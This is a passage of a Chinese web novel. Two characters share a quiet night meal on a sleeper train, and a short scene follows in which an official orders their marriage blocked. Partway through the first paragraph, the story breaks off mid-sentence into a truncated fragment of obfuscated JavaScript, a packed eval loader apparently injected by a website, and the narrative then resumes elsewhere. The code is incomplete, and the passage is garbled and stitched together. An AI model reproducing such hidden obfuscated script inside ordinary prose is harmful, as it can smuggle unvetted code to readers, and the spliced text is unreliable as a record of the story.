她百无聊赖地看着窗外的景色,觉得这和待在马车里也没什么区别。只不过这里面人更多,更宽敞,也更快。 她浅浅打了个哈欠,视线扫过孟冬荣,实在不知道他是如何看得那样津津有味的。 孟冬荣虽在看报,却也一直留意着她,见状提议,“要不要睡会儿?” 听着逐渐靠近的喧闹声,柳夕雾点点头又摇摇头,“我们上面这两张床的乘客,会是从这里上车吗?” 这趟车的软卧是四人间,柳夕雾和孟冬荣的头上各有一张尚且空着的床铺,过了三站都还尚未上过人。 “应该是。”孟冬荣看了眼手表,“这一站是冀省的省会,应该会上很多人。” 话音未落,随着车门打开,喧嚣声已经从不远处传了过来。 而透过车窗,柳夕雾隐约还能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳夕雾的心跳逐渐平息下来,她后知后觉反应过来老妇人的话,有些心疼、也有些懊悔,“你没休息吗?那是不是下午饭也没吃?怎么不叫我呀。” “吃了,咱们昨天不是买了很多糕点吗?吃的那个。”孟冬荣压着声音安抚她,“你是不是饿了?大家都睡了,我带你去吃点东西?” 怕她拒绝,又说,“正好我也饿了。” 柳夕雾果然不再犹豫,“好。” “能看见吗?”孟冬荣注视着柳夕雾有些磕绊的动作,想起她刚醒的时候反应,猜测她可能是有夜盲症。 他蹲下身,捡起鞋子递到她手里,“这里。” 他不动痕迹地活动了下有些发麻的腿,再起身时顺势将自己的胳膊递了过去,“车厢有些黑,小心。” 两人一路走到了车厢连接处,这里也是全车唯一有光的地方。 隔着透明的玻璃,柳夕雾看见另一节车厢里密密麻麻坐着许多人,甚至有些人直接坐躺在座位间的走廊里,此时正歪七扭八地紧蹙着眉睡着。 “那边是硬座。”孟冬荣用纸巾包着桃酥递给柳夕雾,拧开军用水壶,枸杞红枣茶的香气一下蒸腾起来,“下午刚泡的,这会儿刚好入口,配着不噎。” “你也吃。”柳夕雾学着孟冬荣的样子,将桃酥包好递到孟冬荣唇边,“你可以叫醒我的。” “我也睡着了。”孟冬荣接过轻咬一口,“醒来的时候餐车已经空了,干脆就随便吃了点继续睡。” “谢谢。”柳夕雾知道他说的是借口,侧首看向硬座车厢,不敢和他对视,“我睡觉时有说什么吗?” “没有,就是可能外面有些吵,睡得不太安稳。”孟冬荣看着她的侧脸,顿了顿才回答。 她确实没说梦话,只不过中途像小猫似的抽泣过好几次,也不知是梦见了什么,泪珠一颗颗往外滚,到最后,都快浸透他的手帕... 柳夕雾闻言松了口气,她睡得其实很好,好到都不记得自己做过什么梦,也不记得这段时间自己有没有说过梦话。 她开始有点害怕孟冬荣知晓她的秘密,她可以接受嫡母嫡兄嫌恶的眼神,却不能接受他的。 也许她也是个很贪心的人,柳夕雾看着他稳稳端着水杯的指尖,自嘲地笑了笑。 —————— “是明天到?”男人接过助理递来的申请,随手翻了几页后又扔了回去,“不批,一个大山里没工作的孤女,这要是被我老领导知道了,不得气得吐血。” 他的声音带着笑,却让助理不由自主地打了个颤,“那些人不都说我没良心吗?那这次小师弟的婚事,就由我来管吧。” “我这个师弟啊。”他咔哒一声按响打火机,却又倏地吹灭,“山顶的风景看惯了,大概都不知道‘人间疾苦’这几个字怎么写吧。” “我这活生生的例子放在这儿,怎么还不长记性呢?这山脚还在苦苦求生的人啊,最是碰不得...” 听到这话,年轻的助理恨不得将头埋进地里。关于自家领导的恩师一家,他是一句话也不敢接的。 也不知过了多久,窗前才重新传来男人冷淡的声音,“交代下去,这婚事,不准成。”